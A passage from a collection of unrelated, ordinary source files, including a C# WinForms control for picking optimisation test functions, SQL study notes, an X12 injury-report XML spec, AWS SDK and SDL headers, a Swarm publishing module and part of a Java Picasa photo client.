        /// Обязательный метод для поддержки конструктора - не изменяйте
        /// содержимое данного метода при помощи редактора кода.
        /// </summary>
        private void InitializeComponent()
        {
            this.saveButton = new System.Windows.Forms.Button();
            this.variablesCountSpin = new System.Windows.Forms.NumericUpDown();
            this.label2 = new System.Windows.Forms.Label();
            this.functionsComboBox = new System.Windows.Forms.ComboBox();
            this.label1 = new System.Windows.Forms.Label();
            this.label3 = new System.Windows.Forms.Label();
            this.textBoxX = new System.Windows.Forms.TextBox();
            ((System.ComponentModel.ISupportInitialize)(this.variablesCountSpin)).BeginInit();
            this.SuspendLayout();
            //
            // saveButton
            //
            this.saveButton.Location = new System.Drawing.Point(0, 136);
            this.saveButton.Name = "saveButton";
            this.saveButton.Size = new System.Drawing.Size(75, 23);
            this.saveButton.TabIndex = 4;
            this.saveButton.Text = "Сохранить";
            this.saveButton.UseVisualStyleBackColor = true;
            this.saveButton.Click += new System.EventHandler(this.saveButton_Click);
            //
            // variablesCountSpin
            //
            this.variablesCountSpin.Location = new System.Drawing.Point(0, 62);
            this.variablesCountSpin.Maximum = new decimal(new int[] {
            1215752192,
            23,
            0,
            0});
            this.variablesCountSpin.Name = "variablesCountSpin";
            this.variablesCountSpin.Size = new System.Drawing.Size(75, 23);
            this.variablesCountSpin.TabIndex = 3;
            this.variablesCountSpin.ValueChanged += new System.EventHandler(this.variablesCountSpin_ValueChanged);
            //
            // label2
            //
            this.label2.AutoSize = true;
            this.label2.Location = new System.Drawing.Point(-3, 44);
            this.label2.Name = "label2";
            this.label2.Size = new System.Drawing.Size(147, 15);
            this.label2.TabIndex = 2;
            this.label2.Text = "Количество переменных:";
            //
            // functionsComboBox
            //
            this.functionsComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
            this.functionsComboBox.FormattingEnabled = true;
            this.functionsComboBox.Items.AddRange(new object[] {
            "Парабола",
            "Функция Растригина",
            "Функция Швейфеля",
            "Функция \"Сомбреро\"",
            "Функция Гривонка",
            "Функция Розенброка",
            "Парабола с задержкой",
            "Функция Сопова"});
            this.functionsComboBox.Location = new System.Drawing.Point(0, 18);
            this.functionsComboBox.Name = "functionsComboBox";
            this.functionsComboBox.Size = new System.Drawing.Size(283, 23);
            this.functionsComboBox.TabIndex = 1;
            this.functionsComboBox.SelectedIndexChanged += new System.EventHandler(this.functionsComboBox_SelectedIndexChanged);
            //
            // label1
            //
            this.label1.AutoSize = true;
            this.label1.Location = new System.Drawing.Point(-3, 0);
            this.label1.Name = "label1";
            this.label1.Size = new System.Drawing.Size(58, 15);
            this.label1.TabIndex = 0;
            this.label1.Text = "Функция:";
            //
            // label3
            //
            this.label3.AutoSize = true;
            this.label3.Location = new System.Drawing.Point(-3, 88);
            this.label3.Name = "label3";
            this.label3.Size = new System.Drawing.Size(106, 15);
            this.label3.TabIndex = 5;
            this.label3.Text = "Точка минимума:";
            //
            // textBoxX
            //
            this.textBoxX.Location = new System.Drawing.Point(0, 107);
            this.textBoxX.Name = "textBoxX";
            this.textBoxX.Size = new System.Drawing.Size(283, 23);
            this.textBoxX.TabIndex = 6;
            this.textBoxX.TextChanged += new System.EventHandler(this.textBoxX_TextChanged);
            //
            // UserControlPredefinedTarget
            //
            this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 15F);
            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
            this.BackColor = System.Drawing.SystemColors.Control;
            this.Controls.Add(this.textBoxX);
            this.Controls.Add(this.label3);
            this.Controls.Add(this.saveButton);
            this.Controls.Add(this.variablesCountSpin);
            this.Controls.Add(this.label2);
            this.Controls.Add(this.functionsComboBox);
            this.Controls.Add(this.label1);
            this.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204)));
            this.Name = "UserControlPredefinedTarget";
            this.Size = new System.Drawing.Size(283, 252);
            this.Load += new System.EventHandler(this.UserControlPredefinedTarget_Load);
            this.Resize += new System.EventHandler(this.UserControlPredefinedTarget_Resize);
            ((System.ComponentModel.ISupportInitialize)(this.variablesCountSpin)).EndInit();
            this.ResumeLayout(false);
            this.PerformLayout();

        }

        #endregion

        private System.Windows.Forms.Label label1;
        private System.Windows.Forms.ComboBox functionsComboBox;
        private System.Windows.Forms.Label label2;
        private System.Windows.Forms.NumericUpDown variablesCountSpin;
        private System.Windows.Forms.Button saveButton;
        private System.Windows.Forms.Label label3;
        private System.Windows.Forms.TextBox textBoxX;
    }
}


text:
<img src = "WWW_SQL_Designer.png">

##What are databases for?

####Databases are used for managing large amounts of data. They are mainly utilized as back end storage to be accessed by overlying programming.  Examples could be user account settings or a discography search program. Database management programs make accessing this data even easier.

##What is a one-to-many relationship?

####One-to-Many speaks of the possible relationship that can occur between one parent record and the optional one or many child records.

##What is a primary key? What is a foreign key? How can you determine which is which?

####Two tables and their data columns can be selectively related to each other through the use of keys. The initial value holds the primary key to be used as the reference to call the foreign data of the second table holding the foreign key. You can only have one primary key in a table, while you can have many foreign keys.

##How can you select information out of a SQL database? What are some general guidelines for?

#### One can use many commands to select data from an SQL database. The primary commands being SELECT (insert the column here) FROM (the name of the data table).


text:
<?xml version="1.0" encoding="utf-8"?>
<!--148 Report of Injury, Illness or Incident-->
<TransactionSpecification TransactionSetIdentifierCode="148" xmlns="http://tempuri.org/X12ParserSpecification.xsd">
  <Segment SegmentId="BGN" />
  <Segment SegmentId="CUR" />
  <Segment SegmentId="QTY" />
  <Segment SegmentId="REF" />
  <Segment SegmentId="GRI" Trailer="true"/>
  <Loop LoopId="LX">
    <Name>Assigned Number</Name>
    <StartingSegment SegmentId="LX" />
    <Segment SegmentId="QTY" />
  </Loop>
  <Loop LoopId="NM1">
    <Name>Individual or Organizational Name</Name>
    <StartingSegment SegmentId="NM1" />
    <Segment SegmentId="N2" />
    <Segment SegmentId="N3" />
    <Segment SegmentId="N4" />
    <Segment SegmentId="PER" />
    <Segment SegmentId="ACT" />
    <Segment SegmentId="DTP" />
    <Segment SegmentId="DMG" />
    <Segment SegmentId="REF" />
    <Segment SegmentId="QTY" />
    <Segment SegmentId="CRC" />
  </Loop>
  <!-- LevelCode left empty since multiple allowed values -->
  <HierarchicalLoop LoopId="HL">
    <!-- HL identifies the appropriate hierarchical level: Reporting Agency (RA),
        Primary Administrator (PA), Secondary Administrator (SA), Contractholder (CH),
        Contractholder Branch Office (CB), Claimant (CL), Cause of Injury (CI), Source
        of Injury (SI), Body Part (BP), Nature of Injury (NI), and Payment Detail (PY).
        All levels are optional.-->
    <Name/>
    <Segment SegmentId="CRI" />
    <Segment SegmentId="ACT" />
    <Segment SegmentId="DTP" />
    <Segment SegmentId="CUR" />
    <Segment SegmentId="AMT" />
    <Segment SegmentId="FC" />
    <Segment SegmentId="REF" />
    <Segment SegmentId="DMG" />
    <Segment SegmentId="QTY" />
    <Segment SegmentId="CRC" />
    <Segment SegmentId="EMT" />
    <Segment SegmentId="VEH" />
    <Loop LoopId="NM1">
      <Name>Individual or Organizational Name</Name>
      <StartingSegment SegmentId="NM1" />
      <Segment SegmentId="N2" />
      <Segment SegmentId="N3" />
      <Segment SegmentId="N4" />
      <Segment SegmentId="PER" />
      <Segment SegmentId="ACT" />
      <Segment SegmentId="DTP" />
      <Segment SegmentId="DMG" />
      <Segment SegmentId="REF" />
      <Segment SegmentId="QTY" />
      <Segment SegmentId="CRC" />
    </Loop>
    <Loop LoopId="ESI">
      <Name>Employment Status Information</Name>
      <StartingSegment SegmentId="ESI" />
      <Segment SegmentId="EMT"/>
      <Segment SegmentId="TPB"/>
      <Segment SegmentId="DTP" />
      <Segment SegmentId="REF" />
      <Segment SegmentId="QTY" />
      <Segment SegmentId="NM1" />
      <Segment SegmentId="PER" />
      <Segment SegmentId="CRC" />
      <!-- From 4010 -->
      <Loop LoopId="AIN">
        <Name>Income</Name>
        <StartingSegment SegmentId="AIN" />
        <Segment SegmentId="CUR" />
        <Segment SegmentId="TXI" />
        <Segment SegmentId="WS" />
        <Segment SegmentId="DTP" />
        <Segment SegmentId="QTY" />
      </Loop>
      <!-- From Current -->
      <Loop LoopId="LX">
        <Name/>
        <StartingSegment SegmentId="LX"/>
        <Segment SegmentId="AIN"/>
        <Segment SegmentId="CUR" />
        <Segment SegmentId="TXI" />
        <Segment SegmentId="WS" />
        <Segment SegmentId="DTP" />
        <Segment SegmentId="QTY" />
        <Segment SegmentId="REF" />
      </Loop>
    </Loop>
    <Loop LoopId="LN">
      <Name>Loan Information</Name>
      <StartingSegment SegmentId="LN" />
      <Segment SegmentId="REF" />
      <Loop LoopId="VEH">
        <Name>Vehicle Information</Name>
        <StartingSegment SegmentId="VEH" />
        <Segment SegmentId="N4" />
        <Segment SegmentId="PID" />
      </Loop>
      <Loop LoopId="AMT">
        <Name>Monetary Amount</Name>
        <StartingSegment SegmentId="AMT" />
        <Segment SegmentId="PCT" />
        <Segment SegmentId="DTP" />
      </Loop>
      <Loop LoopId="NM1">
        <Name>Individual or Organizational Name</Name>
        <StartingSegment SegmentId="NM1" />
        <Segment SegmentId="DMG" />
        <Segment SegmentId="N3" />
        <Segment SegmentId="N4" />
        <Segment SegmentId="PER" />
        <Segment SegmentId="DTP" />
        <Segment SegmentId="REF" />
      </Loop>
    </Loop>
    <!-- From 4010 -->
    <Loop LoopId="III">
      <Name>Information</Name>
      <StartingSegment SegmentId="III" />
      <Segment SegmentId="IMP" />
      <Segment SegmentId="DTP" />
      <Segment SegmentId="CRC" />
      <Loop LoopId="LM">
        <Name>Code Source Information</Name>
        <StartingSegment SegmentId="LM" />
        <Segment SegmentId="LQ" />
      </Loop>
      <Loop LoopId="NM1">
        <Name>Individual or Organizational Name</Name>
        <StartingSegment SegmentId="NM1" />
        <Segment SegmentId="N2" />
        <Segment SegmentId="N3" />
        <Segment SegmentId="N4" />
        <Segment SegmentId="PER" />
        <Segment SegmentId="ACT" />
        <Segment SegmentId="DTP" />
        <Segment SegmentId="DMG" />
        <Segment SegmentId="REF" />
      </Loop>
      <Loop LoopId="AD1">
        <Name>Adjustment Amount</Name>
        <StartingSegment SegmentId="AD1" />
        <Segment SegmentId="CUR" />
        <Segment SegmentId="DTP" />
        <Segment SegmentId="QTY" />
        <Segment SegmentId="REL" />
        <Loop LoopId="NM1">
          <Name>Individual or Organizational Name</Name>
          <StartingSegment SegmentId="NM1" />
          <Segment SegmentId="N2" />
          <Segment SegmentId="N3" />
          <Segment SegmentId="N4" />
          <Segment SegmentId="PER" />
          <Segment SegmentId="ACT" />
          <Segment SegmentId="DTP" />
          <Segment SegmentId="DMG" />
          <Segment SegmentId="REF" />
        </Loop>
      </Loop>
    </Loop>
    <!-- From Current -->
    <Loop LoopId="LS">
      <Name></Name>
      <StartingSegment SegmentId="LS"/>
      <Segment SegmentId="LE" Trailer="true"/>
      <Loop LoopId="III">
        <Name>Information</Name>
        <StartingSegment SegmentId="III" />
        <Segment SegmentId="IMP" />
        <Segment SegmentId="DTP" />
        <Segment SegmentId="CRC" />
        <Segment SegmentId="QTY" />
        <Segment SegmentId="REF" />
        <Loop LoopId="LM">
          <Name>Code Source Information</Name>
          <StartingSegment SegmentId="LM" />
          <Segment SegmentId="LQ" />
        </Loop>
        <Loop LoopId="NM1">
          <Name>Individual or Organizational Name</Name>
          <StartingSegment SegmentId="NM1" />
          <Segment SegmentId="N2" />
          <Segment SegmentId="N3" />
          <Segment SegmentId="N4" />
          <Segment SegmentId="PER" />
          <Segment SegmentId="ACT" />
          <Segment SegmentId="DTP" />
          <Segment SegmentId="DMG" />
          <Segment SegmentId="REF" />
          <Segment SegmentId="CRC" />
        </Loop>
      </Loop>
    </Loop>
    <Loop LoopId="CFI">
      <Name/>
      <StartingSegment SegmentId="CFI"/>
      <Segment SegmentId="CUR"/>
      <Segment SegmentId="AMT"/>
      <Segment SegmentId="DTP"/>
      <Segment SegmentId="QTY"/>
      <Segment SegmentId="REL"/>
      <Segment SegmentId="REF"/>
      <Segment SegmentId="CRC"/>
      <Loop LoopId="AD1">
        <Name>Adjustment Amount</Name>
        <StartingSegment SegmentId="AD1" />
        <Segment SegmentId="DTP" />
        <Segment SegmentId="REL" />
      </Loop>
      <Loop LoopId="NM1">
        <Name>Individual or Organizational Name</Name>
        <StartingSegment SegmentId="NM1" />
        <Segment SegmentId="N2" />
        <Segment SegmentId="N3" />
        <Segment SegmentId="N4" />
        <Segment SegmentId="PER" />
        <Segment SegmentId="ACT" />
        <Segment SegmentId="DTP" />
        <Segment SegmentId="DMG" />
        <Segment SegmentId="REF" />
      </Loop>
    </Loop>
  </HierarchicalLoop>
</TransactionSpecification>


text:
#include "SDL_config.h"

#define SDL_AllocAudioMem	SDL_malloc
#define SDL_FreeAudioMem	SDL_free
/* vi: set ts=4 sw=4 expandtab: */


text:
package org.nodes.random;

/**
 * A source is an object that generates a sequence of objects of the specificed
 * type.
 * </p><p>
 * Sources can be used, for example, in algorithms that generate random graphs,
 * to provide a labeling for the nodes.
 * </p>
 *
 * @author Peter
 *
 * @param <T>
 */
public interface Source<T>
{
	/**
	 * Produce the next element in the sequence defined by this source.
	 * @return
	 */
	public T next();
}


text:
using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace QALib
{
    public class WebKnoxResponse
    {
        [JsonProperty(PropertyName = "answer")]
        public string Answer { get; set; }
    }
}


text:
#pragma once

#include <aws/core/Core_EXPORTS.h>

#include <aws/core/http/URI.h>
#include <aws/core/http/HttpTypes.h>
#include <aws/core/utils/memory/AWSMemory.h>
#include <aws/core/utils/memory/stl/AWSStreamFwd.h>
#include <aws/core/utils/stream/ResponseStream.h>
#include <memory>
#include <functional>

namespace Aws
{
    namespace Http
    {
        extern AWS_CORE_API const char* DATE_HEADER;
        extern AWS_CORE_API const char* AWS_DATE_HEADER;
        extern AWS_CORE_API const char* AWS_SECURITY_TOKEN;
        extern AWS_CORE_API const char* ACCEPT_HEADER;
        extern AWS_CORE_API const char* ACCEPT_CHAR_SET_HEADER;
        extern AWS_CORE_API const char* ACCEPT_ENCODING_HEADER;
        extern AWS_CORE_API const char* AUTHORIZATION_HEADER;
        extern AWS_CORE_API const char* AWS_AUTHORIZATION_HEADER;
        extern AWS_CORE_API const char* COOKIE_HEADER;
        extern AWS_CORE_API const char* CONTENT_LENGTH_HEADER;
        extern AWS_CORE_API const char* CONTENT_TYPE_HEADER;
        extern AWS_CORE_API const char* USER_AGENT_HEADER;
        extern AWS_CORE_API const char* VIA_HEADER;
        extern AWS_CORE_API const char* HOST_HEADER;
        extern AWS_CORE_API const char* AMZ_TARGET_HEADER;
        extern AWS_CORE_API const char* X_AMZ_EXPIRES_HEADER;
        extern AWS_CORE_API const char* CONTENT_MD5_HEADER;

        class HttpRequest;
        class HttpResponse;

        /**
         * closure type for recieving notifications that data has been recieved.
         */
        typedef std::function<void(const HttpRequest*, HttpResponse*, long long)> DataReceivedEventHandler;
        /**
         * closure type for receiving notifications that data has been sent.
         */
        typedef std::function<void(const HttpRequest*, long long)> DataSentEventHandler;
        /**
         * Closure type for handling whether or not a request should be canceled.
         */
        typedef std::function<bool(const HttpRequest*)> ContinueRequestHandler;

        /**
          * Abstract class for representing an HttpRequest.
          */
        class AWS_CORE_API HttpRequest
        {
        public:
            /**
             * Initializes an HttpRequest object with uri and http method.
             */
            HttpRequest(const URI& uri, HttpMethod method) :
                m_uri(uri), m_method(method)
            {}

            virtual ~HttpRequest() {}

            /**
             * Get All headers for this request.
             */
            virtual HeaderValueCollection GetHeaders() const = 0;
            /**
             * Get the value for a Header based on its name.
             */
            virtual const Aws::String& GetHeaderValue(const char* headerName) const = 0;
            /**
             * Add a header pair
             */
            virtual void SetHeaderValue(const char* headerName, const Aws::String& headerValue) = 0;
            /**
             * Creates a shared_ptr of HttpRequest with uri, method, and closure for how to create a response stream.
             */
            virtual void SetHeaderValue(const Aws::String& headerName, const Aws::String& headerValue) = 0;
            /**
             * Deletes a header from the request by name.
             */
            virtual void DeleteHeader(const char* headerName) = 0;
            /**
             * Adds a content body stream to the request. This stream will be used to send the body to the endpoint.
             */
            virtual void AddContentBody(const std::shared_ptr<Aws::IOStream>& strContent) = 0;
            /**
             * Gets the content body stream that will be used for this request.
             */
            virtual const std::shared_ptr<Aws::IOStream>& GetContentBody() const = 0;
            /**
             * Returns true if a header exists in the request with name
             */
            virtual bool HasHeader(const char* name) const = 0;
            /**
             * Get size in bytes of the request when as it will be going accross the wire.
             */
            virtual int64_t GetSize() const = 0;
            /**
             * Gets the factory for creating the stream that will be used in the http response.
             */
            virtual const Aws::IOStreamFactory& GetResponseStreamFactory() const = 0;
            /**
            * Sets the factory for creating the stream that will be used in the http response.
            */
            virtual void SetResponseStreamFactory(const Aws::IOStreamFactory& factory) = 0;
            /**
             * Gets underlying URI object with mutation access.
             */
            inline URI& GetUri()
            {
                return m_uri;
            }
            /**
             * Gets the underlying URI object.
             */
            const URI& GetUri() const { return m_uri; }
            /**
             * Converts the URI into a string and returns it. If includeQueryString is set to true, the query string
             * will be included in the returned value.
             */
            inline Aws::String GetURIString(bool includeQueryString = true) const
            {
                return m_uri.GetURIString(includeQueryString);
            }
            /**
             * Get the http method for this request.
             */
            inline HttpMethod GetMethod() const
            {
                return m_method;
            }
            /**
             * Gets the query string from the URI on this request.
             */
            inline const Aws::String& GetQueryString() const
            {
                return m_uri.GetQueryString();
            }
            /**
             * Normalizes the URI for use with signing.
             */
            inline void CanonicalizeRequest()
            {
                m_uri.CanonicalizeQueryString();
            }
            /**
             * Gets the query string for the underlying URI as a key value mapping
             */
            inline QueryStringParameterCollection GetQueryStringParameters() const
            {
                return m_uri.GetQueryStringParameters();
            }
            /**
             * Adds a query string parameter to the underlying URI by key and value.
             */
            inline void AddQueryStringParameter(const char* key, const Aws::String& value)
            {
                m_uri.AddQueryStringParameter(key, value);
            }

            /**
             * Gets date header.
             */
            inline const Aws::String& GetDate() const
            {
                return GetHeaderValue(DATE_HEADER);
            }
            /**
            * Gets date header.
            */
            inline void SetDate(const Aws::String& value)
            {
                SetHeaderValue(DATE_HEADER, value);
            }
            /**
             * Gets accept header.
             */
            inline const Aws::String& GetAccept() const
            {
                return GetHeaderValue(ACCEPT_HEADER);
            }
            /**
             * Gets accept header.
             */
            inline void SetAccept(const Aws::String& value)
            {
                SetHeaderValue(ACCEPT_HEADER, value);
            }
            /**
             * Gets Accept CharSet header.
             */
            inline const Aws::String& GetAcceptCharSet() const
            {
                return GetHeaderValue(ACCEPT_CHAR_SET_HEADER);
            }
            /**
             * Sets Accept CharSet header.
             */
            inline void SetAcceptCharSet(const Aws::String& value)
            {
                SetHeaderValue(ACCEPT_CHAR_SET_HEADER, value);
            }
            /**
             * Gets accept encoding header.
             */
            inline const Aws::String& GetAcceptEncoding() const
            {
                return GetHeaderValue(ACCEPT_ENCODING_HEADER);
            }
            /**
             * Sets accept encoding header.
             */
            inline void SetAcceptEncoding(const Aws::String& value)
            {
                SetHeaderValue(ACCEPT_ENCODING_HEADER, value);
            }
            /**
             * Gets authorization encoding header.
             */
            inline const Aws::String& GetAuthorization() const
            {
                return GetHeaderValue(AUTHORIZATION_HEADER);
            }
            /**
             * Set authorization header.
             */
            inline void SetAuthorization(const Aws::String& value)
            {
                SetHeaderValue(AUTHORIZATION_HEADER, value);
            }
            /**
             * Gets aws authorization header.
             */
            inline const Aws::String& GetAwsAuthorization() const
            {
                return GetHeaderValue(AWS_AUTHORIZATION_HEADER);
            }
            /**
            * Sets aws authorization header.
            */
            inline void SetAwsAuthorization(const Aws::String& value)
            {
                SetHeaderValue(AWS_AUTHORIZATION_HEADER, value);
            }
            /**
            * Gets session token header.
            */
            inline const Aws::String& GetAwsSessionToken() const
            {
                return GetHeaderValue(AWS_SECURITY_TOKEN);
            }
            /**
            * Sets session token header.
            */
            inline void SetAwsSessionToken(const Aws::String& value)
            {
                SetHeaderValue(AWS_SECURITY_TOKEN, value);
            }
            /**
            * Gets cookie header.
            */
            inline const Aws::String& GetCookie() const
            {
                return GetHeaderValue(COOKIE_HEADER);
            }
            /**
            * Sets cookie header.
            */
            inline void SetCookie(const Aws::String& value)
            {
                SetHeaderValue(COOKIE_HEADER, value);
            }
            /**
            * Gets content-length header.
            */
            inline const Aws::String& GetContentLength() const
            {
                return GetHeaderValue(CONTENT_LENGTH_HEADER);
            }
            /**
            * Sets content-length header.
            */
            inline void SetContentLength(const Aws::String& value)
            {
                SetHeaderValue(CONTENT_LENGTH_HEADER, value);
            }
            /**
            * Gets content-type header.
            */
            inline const Aws::String& GetContentType() const
            {
                return GetHeaderValue(CONTENT_TYPE_HEADER);
            }
            /**
            * sets content-type header.
            */
            inline void SetContentType(const Aws::String& value)
            {
                SetHeaderValue(CONTENT_TYPE_HEADER, value);
            }
            /**
            * Gets User Agent header.
            */
            inline const Aws::String& GetUserAgent() const
            {
                return GetHeaderValue(USER_AGENT_HEADER);
            }
            /**
            * Sets User Agent header.
            */
            inline void SetUserAgent(const Aws::String& value)
            {
                SetHeaderValue(USER_AGENT_HEADER, value);
            }
            /**
            * Gets via header header.
            */
            inline const Aws::String& GetVia() const
            {
                return GetHeaderValue(VIA_HEADER);
            }
            /**
             * Sets via header.
             */
            inline void SetVia(const Aws::String& value)
            {
                SetHeaderValue(VIA_HEADER, value);
            }
            /**
             * Sets the closure for receiving events when data is received from the server.
             */
            inline void SetDataReceivedEventHandler(const DataReceivedEventHandler& dataReceivedEventHandler) { m_onDataReceived = dataReceivedEventHandler; }
            /**
             * Sets the closure for receiving events when data is received from the server.
             */
            inline void SetDataReceivedEventHandler(DataReceivedEventHandler&& dataReceivedEventHandler) { m_onDataReceived = std::move(dataReceivedEventHandler); }
            /**
             * Sets the closure for receiving events when data is sent to the server.
             */
            inline void SetDataSentEventHandler(const DataSentEventHandler& dataSentEventHandler) { m_onDataSent = dataSentEventHandler; }
            /**
             * Sets the closure for receiving events when data is sent to the server.
             */
            inline void SetDataSentEventHandler(DataSentEventHandler&& dataSentEventHandler) { m_onDataSent = std::move(dataSentEventHandler); }
            /**
             * Sets the closure for handling whether or not to cancel a request.
             */
            inline void SetContinueRequestHandle(const ContinueRequestHandler& continueRequestHandler) { m_continueRequest = continueRequestHandler; }
            /**
             * Sets the closure for handling whether or not to cancel a request.
             */
            inline void SetContinueRequestHandle(ContinueRequestHandler&& continueRequestHandler) { m_continueRequest = std::move(continueRequestHandler); }

            /**
             * Gets the closure for receiving events when data is received from the server.
             */
            inline const DataReceivedEventHandler& GetDataReceivedEventHandler() const { return m_onDataReceived; }
            /**
             * Gets the closure for receiving events when data is sent to the server.
             */
            inline const DataSentEventHandler& GetDataSentEventHandler() const { return m_onDataSent; }

            inline const ContinueRequestHandler& GetContinueRequestHandler() const { return m_continueRequest; }
        private:
            URI m_uri;
            HttpMethod m_method;
            DataReceivedEventHandler m_onDataReceived;
            DataSentEventHandler m_onDataSent;
            ContinueRequestHandler m_continueRequest;
        };

    } // namespace Http
} // namespace Aws


text:
'use strict'

var async = require('async')
var swarmgw = require('swarmgw')

module.exports = (contract, appAPI, cb) => {
  // gather list of files to publish
  var sources = []

  sources.push({
    content: contract.metadata,
    hash: contract.metadataHash
  })

  var metadata
  try {
    metadata = JSON.parse(contract.metadata)
  } catch (e) {
    return cb(e)
  }

  if (metadata === undefined) {
    return cb('No metadata')
  }

  async.eachSeries(Object.keys(metadata.sources), function (fileName, cb) {
    // find hash
    var hash
    try {
      hash = metadata.sources[fileName].urls[0].match('bzzr://(.+)')[1]
    } catch (e) {
      return cb('Metadata inconsistency')
    }

    appAPI.fileProviderOf(fileName).get(fileName, (error, content) => {
      if (error) {
        console.log(error)
      } else {
        sources.push({
          content: content,
          hash: hash
        })
      }
      cb()
    })
  }, function (error) {
    if (error) {
      cb(error)
    } else {
      // publish the list of sources in order, fail if any failed
      async.eachSeries(sources, function (item, cb) {
        swarmVerifiedPublish(item.content, item.hash, cb)
      }, cb)
    }
  })
}

function swarmVerifiedPublish (content, expectedHash, cb) {
  swarmgw.put(content, function (err, ret) {
    if (err) {
      cb(err)
    } else if (ret !== expectedHash) {
      cb('Hash mismatch')
    } else {
      cb()
    }
  })
}


text:
package com.dotosoft.dotoquiz.tools.thirdparty;

import static com.dotosoft.dotoquiz.tools.thirdparty.metadata.ImageInformation.safeReadImageInformation;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.ConnectException;
import java.net.URL;
import java.net.URLConnection;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.attribute.FileTime;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;

import org.apache.commons.beanutils.BeanPropertyValueEqualsPredicate;
import org.apache.commons.collections.CollectionUtils;
import org.apache.commons.io.FileUtils;
import org.apache.log4j.Logger;

import com.dotosoft.dot4command.utils.StringUtils;
import com.dotosoft.dotoquiz.tools.common.QuizParserConstant;
import com.dotosoft.dotoquiz.tools.thirdparty.metadata.ImageInformation;
import com.dotosoft.dotoquiz.tools.util.TimeUtils;
import com.dotosoft.dotoquiz.utils.MD5Checksum;
import com.google.api.client.auth.oauth2.Credential;
import com.google.api.client.googleapis.auth.oauth2.GoogleCredential;
import com.google.gdata.client.Query;
import com.google.gdata.client.photos.PicasawebService;
import com.google.gdata.data.DateTime;
import com.google.gdata.data.Link;
import com.google.gdata.data.PlainTextConstruct;
import com.google.gdata.data.media.MediaFileSource;
import com.google.gdata.data.media.mediarss.MediaContent;
import com.google.gdata.data.photos.AlbumEntry;
import com.google.gdata.data.photos.AlbumFeed;
import com.google.gdata.data.photos.CommentEntry;
import com.google.gdata.data.photos.ExifTags;
import com.google.gdata.data.photos.GphotoAccess;
import com.google.gdata.data.photos.GphotoEntry;
import com.google.gdata.data.photos.GphotoFeed;
import com.google.gdata.data.photos.PhotoEntry;
import com.google.gdata.data.photos.TagEntry;
import com.google.gdata.data.photos.UserFeed;
import com.google.gdata.util.AuthenticationException;
import com.google.gdata.util.ParseException;
import com.google.gdata.util.ServiceException;
import com.google.gdata.util.XmlBlob;

public class PicasawebClient {
    Logger log = Logger.getLogger(PicasawebClient.class);

    private static final String AUTO_BACKUP_FOLDER = "Auto Backup";
    private static final String AUTO_UPLOAD_TYPE = "InstantUploadAuto";
    private static final String INSTANT_UPLOAD = "InstantUpload";
    private static final String ALBUM_TYPE_PATTERN = "<gphoto:albumType>%s</gphoto:albumType>";

    private static final String API_PREFIX = "https://picasaweb.google.com/data/feed/api/user/";

    private final PicasawebService service = new PicasawebService( QuizParserConstant.SYNC_CLIENT_NAME );

    /**
     * Constructs a new un-authenticated client.
     */
    public PicasawebClient(GoogleCredential credential ) {
        this((Credential) credential);
    }

    /**
     * Constructs a new un-authenticated client.
     */
    public PicasawebClient(Credential credential ) {
        service.setOAuth2Credentials( credential );
        service.setConnectTimeout( 1000 * QuizParserConstant.CONNECTION_TIMEOUT_SECS );
        service.setReadTimeout(1000 * QuizParserConstant.CONNECTION_TIMEOUT_SECS);
    }

    /**
     * Constructs a new client with the given username and password.
     */
    public PicasawebClient(String uname, String passwd) {

        log.info("Logging into Picasa Service...");

        if (uname != null && passwd != null) {
            try {
                service.setUserCredentials(uname, passwd);
            } catch (AuthenticationException e) {
                throw new IllegalArgumentException("Authentication failed. Illegal username/password combination.");
            }
        }
        else {
            throw new IllegalArgumentException(
                    "Authentication failed. User/pass not set.");
        }
    }

    public boolean downloadPhoto(File saveLocation, PhotoEntry photo) throws IOException, ParseException
    {
        boolean downloadSuccess = false;
        final int BUFFER_SIZE = 8096;
        final int TIMEOUT_MS = 10 * 1000;

        File saveFolder = saveLocation.getParentFile();
        boolean createdFolder = false;

        if( ! saveFolder.exists() )
        {
            log.info("Creating local folder: " + saveFolder.getName());
            if (!saveFolder.mkdirs())
                throw new IOException("Unable to create folder " + saveFolder.getName());
            createdFolder = true;
        }

        log.debug("Beginning download for " + saveLocation + "...");

        File tempFile = new File(saveLocation + ".tmp");
        tempFile.deleteOnExit();

        FileOutputStream fos = new FileOutputStream(tempFile);

        List<MediaContent> media = photo.getMediaContents();
        URL fileUrl = new URL(photo.getMediaContents().get(0).getUrl());

        if( media.size() > 1 ){
            if( media.size() > 2 ){
                log.debug( "Extracting h264 video stream...");
                fileUrl = new URL(photo.getMediaContents().get(2).getUrl());
            }
            else {
                log.debug( "Extracting low-res video stream...");
                fileUrl = new URL(photo.getMediaContents().get(1).getUrl());
            }
        }

        try {
            URLConnection conn = fileUrl.openConnection();
            conn.setConnectTimeout(TIMEOUT_MS);
            conn.setReadTimeout(TIMEOUT_MS);
            InputStream dis = conn.getInputStream();

            int totalRead = 0;
            int readCount = 0;
            byte b[] = new byte[BUFFER_SIZE];
            while ((readCount = dis.read(b)) != 0 && readCount != -1) {
                totalRead += readCount;
                fos.write(b, 0, readCount);
            }
            dis.close();
            fos.close();

            if (!tempFile.renameTo(saveLocation))
                throw new IOException("Unable to rename temp file to " + saveLocation);

            // Fix up the timestamps from the photo metadata
            updateTimeFromTags(saveLocation, photo, createdFolder);

            log.info("Written " + FileUtils.byteCountToDisplaySize(totalRead) + " to " + saveLocation + " successfully.");
            downloadSuccess = true;
        }
        catch( ConnectException ex ){
            log.warn( "Network connection downloading " + fileUrl, ex );
            saveLocation = null;
        }
        catch( Exception ex ){
            log.error( "Unexpected exception downloading " + fileUrl, ex );
            saveLocation = null;

        }

        return downloadSuccess;
    }

    public AlbumEntry prepareRemoteAlbum(AlbumEntry albumEntry) throws Exception {

        // See if the AlbumEntry was valid remotely (i.e., it has an ID). If not, create it
        if ( albumEntry.getId() == null )
        {
                albumEntry.setDescription(new PlainTextConstruct("Automatically created by Picasync"));
                albumEntry = (AlbumEntry) insertAlbum(albumEntry);

